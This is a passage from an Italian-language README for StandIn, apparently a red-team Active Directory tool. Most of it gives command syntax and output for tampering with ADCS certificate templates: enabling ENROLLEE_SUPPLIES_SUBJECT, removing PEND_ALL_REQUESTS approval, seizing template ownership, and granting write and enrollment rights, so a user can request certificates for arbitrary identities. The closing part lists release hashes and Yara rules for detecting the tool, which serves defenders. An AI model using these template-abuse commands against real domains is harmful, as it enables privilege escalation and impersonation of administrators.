| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 1:57:16 PM
[+] Removing pKIExtendedKeyUsage : Client Authentication
|_ Success
Per poter fornire un'identità utente arbitraria quando si effettuano richieste di certificati, la proprietà
msPKI-Certificate-Name-Flagdel modello di certificato deve contenere il flagENROLLEE_SUPPLIES_SUBJECT. Con le appropriateautorizzazioni oggettoquesta funzione permette all'operatore di aggiungere o rimuovere tale flag dal modello.
Aggiungi/rimuovi il flag ENROLLEE_SUPPLIES_SUBJECT dal modello WebServer. Qui il flag --filter deve corrispondere esattamente al nome del modello.```
C:>StandIn.exe --adcs --filter WebServer --ess --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : 0 |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:50:34 PM
[+] Adding msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
C:>StandIn.exe --adcs --filter WebServer --ess --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:40:08 PM
[+] Removing msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT |_ Success
### PEND_ALL_REQUESTS
#### Caso d'uso
> *Quando la proprietà `msPKI-Enrollment-Flag` del modello di certificato contiene il flag `PEND_ALL_REQUESTS`, tutte le richieste di certificato vengono inserite in coda nello stato `pending` e il `CA Certificate Manager` dovrà approvare tali richieste. Questo non è desiderabile dal punto di vista di un attaccante. Con le opportune `autorizzazioni sugli oggetti`, questa funzione consente all'operatore di aggiungere o rimuovere quel flag dal modello.*
#### Sintassi
Aggiungi/rimuovi il flag `PEND_ALL_REQUESTS` dal modello `WebServer`. Qui il flag `--filter` deve corrispondere esattamente al nome del modello.```
C:\>StandIn.exe --adcs --filter WebServer --pend --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : PEND_ALL_REQUESTS
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:54:51 PM
[+] Removing msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
C:\>StandIn.exe --adcs --filter WebServer --pend --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 2:50:37 PM
[+] Adding msPKI-Enrollment-Flag : PEND_ALL_REQUESTS
|_ Success
In alcuni casi speciali l'operatore può avere permessi
WriteOwnersull'oggetto template. Dove altri attacchi non sono possibili, l'operatore può cambiare il proprietario del template, che concederà al nuovo proprietario permessiGenericAllsul template. Questo attacco non è molto desiderabile, vederecaveats.
Imposta il Owner dell'oggetto template a REDHOOK\MBWillett. Qui il flag --filter deve corrispondere esattamente al nome del template.```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 2:58:19 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\MBWillett |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:05:45 PM
#### Avvertenze
Questo attacco presenta alcuni vincoli aggiuntivi. Nei test di laboratorio ho scoperto che quando un `contesto utente` possedeva il privilegio `WriteOwner`, tale utente poteva `solo cambiare il Proprietario in sé stesso`; tentare di assegnare qualsiasi altra identità causava il fallimento della richiesta. Inoltre, una volta modificato, il proprietario non poteva essere ripristinato allo stato precedente, a meno di eseguire da un contesto `Amministratori enterprise`.
Queste limitazioni rendono questo attacco poco desiderabile; dovrebbe essere utilizzato solo se non sono disponibili altre opzioni. Per ripristinare il `Proprietario` originale, l'operatore può generare un certificato per un utente `Amministratori enterprise` e utilizzarlo per ripristinare il proprietario.```
# WebServer owned by REDHOOK\MBWillett & executing as "REDHOOK\MBWillett"
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 4:18:21 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
[!] Failed to modify ADCS permissions..
|_ A constraint violation occurred.
# WebServer owned by REDHOOK\MBWillett & executing in "REDHOOK\Enterprise Admins" context
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\Enterprise Admins" --owner
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:05:45 PM
[+] Set object access rules
[+] Changing template owner : REDHOOK\Enterprise Admins
|_ Success
Le autorizzazioni di scrittura del modello potrebbero essere necessarie per eseguire alcuni degli altri
attacchi al modellodelineati. Con le appropriateautorizzazioni dell'oggetto, questa funzione consente all'operatore di aggiungere o rimuovere le autorizzazioniWriteDacl/WriteOwner/WritePropertyda unNtAccountsull'oggetto modello.
Aggiungi/rimuovi le autorizzazioni di Write sul modello WebServer per REDHOOK\MBWillett. Qui il flag --filter deve corrispondere esattamente al nome del modello.```
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:15:44 PM
[+] Set object access rules
[+] Adding write permissions : REDHOOK\MBWillett |_ Success
C:>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA |_ DNS Hostname : RH-DC01.redhook.local |_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local |_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53 |_ Published Templates : CrossCA DirectoryEmailReplication DomainControllerAuthentication KerberosAuthentication EFSRecovery EFS DomainController WebServer Machine User SubCA Administrator
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Schema Version : 1 |_ pKIExpirationPeriod : 2 years |_ pKIOverlapPeriod : 6 weeks |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Owner : REDHOOK\Enterprise Admins |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Users | |_ Type : Allow | |_ Permission : GenericAll | |_ Object : ANY |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\MBWillett | |_ Type : Allow | |_ Permission : WriteProperty, WriteDacl, WriteOwner | |_ Object : ANY |_ Permission Identity : REDHOOK\Domain Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Permission Identity : REDHOOK\Enterprise Admins | |_ Type : Allow | |_ Permission : ReadProperty, WriteProperty, ExtendedRight | |_ Object : Certificate-Enrollment |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
C:>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --write --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA |_ Template : WebServer |_ Enroll Flags : NONE |_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT |_ pKIExtendedKeyUsage : Client Authentication | Server Authentication |_ Created : 11/24/2021 4:37:30 PM |_ Modified : 11/29/2021 3:29:36 PM
[+] Set object access rules
[+] Removing write permissions : REDHOOK\MBWillett |_ Success
### Aggiungi Autorizzazione per Certificate-Enrollment
#### Caso d'Uso
> *Per poter richiedere `template certificates` il `requestor` deve avere i permessi `Certificate-Enrollment`. Con gli opportuni `object permissions` questa funzione permette all'operatore di aggiungere o rimuovere i permessi `Certificate-Enrollment` da un `NtAccount` sull'`template object`.*
#### Sintassi
Aggiungi/rimuovi i permessi `Certificate-Enrollment` sul modello `WebServer` per `REDHOOK\MBWillett`. Qui il flag `--filter` deve corrispondere esattamente al nome del modello.```
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --add
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:29:57 PM
[+] Set object access rules
[+] Adding Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
C:\>StandIn.exe --adcs --filter WebServer
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Certificate Authority : redhook-RH-DC01-CA
|_ DNS Hostname : RH-DC01.redhook.local
|_ Cert DN : CN=redhook-RH-DC01-CA, DC=redhook, DC=local
|_ GUID : e1885348-e2b3-4e02-9147-54c4c430bc53
|_ Published Templates : CrossCA
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Schema Version : 1
|_ pKIExpirationPeriod : 2 years
|_ pKIOverlapPeriod : 6 weeks
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Owner : REDHOOK\Enterprise Admins
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Users
| |_ Type : Allow
| |_ Permission : GenericAll
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
| |_ Object : ANY
|_ Permission Identity : REDHOOK\Domain Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\Enterprise Admins
| |_ Type : Allow
| |_ Permission : ReadProperty, WriteProperty, ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Permission Identity : REDHOOK\MBWillett
| |_ Type : Allow
| |_ Permission : ExtendedRight
| |_ Object : Certificate-Enrollment
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
C:\>StandIn.exe --adcs --filter WebServer --ntaccount "REDHOOK\MBWillett" --enroll --remove
[+] Search Base : LDAP://CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=redhook,DC=local
[>] Publishing CA : redhook-RH-DC01-CA
|_ Template : WebServer
|_ Enroll Flags : NONE
|_ Name Flags : ENROLLEE_SUPPLIES_SUBJECT
|_ pKIExtendedKeyUsage : Client Authentication
| Server Authentication
|_ Created : 11/24/2021 4:37:30 PM
|_ Modified : 11/29/2021 3:38:36 PM
[+] Set object access rules
[+] Removing Certificate-Enrollment permission : REDHOOK\MBWillett
|_ Success
Questa sezione illustra una serie di IOC's che possono aiutare nel processo di ingegneria del rilevamento per StandIn.
La seguente tabella mappa gli hash del pacchetto di rilascio per StandIn.``` -=v1.3=- StandIn_Net35.exe SHA256: C2ACD3667483E5AC1E423E482DBA462E96DA3978776BFED07D9B436FEE135AB2 MD5: 5E9364F46723B7DC5FF24DE6E9C69E76
StandIn_Net45.exe SHA256: 2E37A3D2DC2ECB0BD026C93055A71CAB4E568B062B1C9F7B8846E04DF1E9F3E6 MD5: 566FFA0555E81560407B8CE6E458E829
-=v1.2=- StandIn_Net35.exe SHA256: DCCDA4991BEBC5F2399C47C798981E7828ECC2BA77ED52A1D37BD866AD5582AA MD5: D11A8CC4768221CEB5A128A349C5E094
StandIn_Net45.exe SHA256: 24C53132B594B77D2109CAEE3E276EA4603EEF32BFECD5121746DB58258C50F7 MD5: DA2AFD1868FBEB9357C8D0FD62ED97EB
-=v0.8=- StandIn_Net35.exe SHA256: A0B3C96CA89770ED04E37D43188427E0016B42B03C0102216C5F6A785B942BD3 MD5: 8C942EE4553E40A7968FF0C8DC5DB9AB
StandIn_Net45.exe SHA256: F80AEB33FC53F2C8D6313A6B20CD117739A71382C208702B43073D54C9ACA681 MD5: 9E0FC3159A6BF8C3A8A0FAA76F6F74F9
-=v0.7=- StandIn_Net35.exe SHA256: A1ECD50DA8AAE5734A5F5C4A6A951B5F3C99CC4FB939AC60EF5EE19896CA23A0 MD5: 50D29F7597BF83D80418DEEFD360F093
StandIn_Net45.exe SHA256: DBAB7B9CC694FC37354E3A18F9418586172ED6660D8D205EAFFF945525A6A31A MD5: 4E5258A876ABCD2CA2EF80E0D5D93195
#### Yara
Le seguenti regole Yara possono essere utilizzate per rilevare StandIn su disco, nella sua forma predefinita.```js
rule StandIn
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn string constants."
strings:
$s1 = "StandIn" ascii wide nocase
$s2 = "(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))" ascii wide nocase
$s3 = "msDS-AllowedToActOnBehalfOfOtherIdentity" ascii wide nocase
$s4 = ">--~~--> Args? <--~~--<" ascii wide nocase
condition:
all of ($s*)
}
rule StandIn_PDB
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Detect StandIn default PDB."
strings:
$s1 = "\\Release\\StandIn.pdb" ascii wide nocase
condition:
all of ($s*)
}
La regola Yara di seguito può essere utilizzata per rilevare StandIn quando l'esecuzione avviene dalla memoria. Per utilizzare questa regola, la soluzione EDR richiederà l'accesso al provider di dati ETW Microsoft-Windows-DotNETRuntime. A scopo di test, questa regola può essere valutata direttamente utilizzando SilkETW. Va notato che questa è una regola di esempio generica; l'allertamento in produzione richiederebbe un approccio più granulare.```js
rule Silk_StandIn_Generic
{
meta:
author = "Ruben Boonen (@FuzzySec)"
description = "Generic Microsoft-Windows-DotNETRuntime detection for StandIn."
strings:
$s1 = "\\r\\nFullyQualifiedAssemblyName=0;\\r\\nClrInstanceID=StandIn" ascii wide nocase
$s2 = "MethodFlags=Jitted;\\r\\nMethodNamespace=StandIn." ascii wide nocase
condition:
any of them
}

## Ringraziamenti speciali
Voglio solo fare un veloce ringraziamento alle persone che hanno contribuito con codice e/o correzioni di bug a `StandIn`.
[@G0ldenGunSec](https://twitter.com/G0ldenGunSec), [@matterpreter](https://twitter.com/matterpreter), [guervild](https://github.com/guervild)